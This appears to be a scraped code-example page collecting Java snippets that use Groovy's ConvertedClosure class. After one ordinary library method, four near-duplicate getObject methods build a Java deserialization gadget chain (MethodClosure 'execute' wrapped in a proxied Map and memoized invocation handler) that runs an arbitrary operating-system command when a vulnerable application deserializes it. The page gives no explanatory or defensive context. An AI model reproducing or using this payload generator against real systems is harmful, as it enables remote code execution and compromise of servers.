import org.codehaus.groovy.runtime.ConvertedClosure; //导入依赖的package包/类
@SuppressWarnings("unchecked")
public static Object coerceToSAM(Closure argument, Method method, Class clazz, boolean isInterface) {
    if (argument!=null && clazz.isAssignableFrom(argument.getClass())) {
        return argument;
    }
    if (isInterface) {
        if (Traits.isTrait(clazz)) {
            Map<String,Closure> impl = Collections.singletonMap(
                    method.getName(),
                    argument
            );
            return ProxyGenerator.INSTANCE.instantiateAggregate(impl,Collections.singletonList(clazz));
        }
        return Proxy.newProxyInstance(
                clazz.getClassLoader(),
                new Class[]{clazz},
                new ConvertedClosure(argument));
    } else {
        Map<String, Object> m = new HashMap<String,Object>();
        m.put(method.getName(), argument);
        return ProxyGenerator.INSTANCE.
                instantiateAggregateFromBaseClass(m, clazz);
    }
}
 

import org.codehaus.groovy.runtime.ConvertedClosure; //导入依赖的package包/类
public InvocationHandler getObject(final String command) throws Exception {
	final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");

	final Map map = Gadgets.createProxy(closure, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);

	return handler;
}
 

import org.codehaus.groovy.runtime.ConvertedClosure; //导入依赖的package包/类
public InvocationHandler getObject(CmdExecuteHelper cmdHelper) throws Exception {
	final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(cmdHelper.getCommand(), "execute"), "entrySet");
	
	final Map map = Gadgets.createProxy(closure, Map.class);		

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);
	
	return handler;
}
 

import org.codehaus.groovy.runtime.ConvertedClosure; //导入依赖的package包/类
public InvocationHandler getObject(final String command) throws Exception {
	final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
	
	final Map map = Gadgets.createProxy(closure, Map.class);		

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);
	
	return handler;
}
 

import org.codehaus.groovy.runtime.ConvertedClosure; //导入依赖的package包/类
public InvocationHandler getObject(final String command) throws Exception {
    final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");

    final Map map = Gadgets.createProxy(closure, Map.class);

    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);

    return handler;
}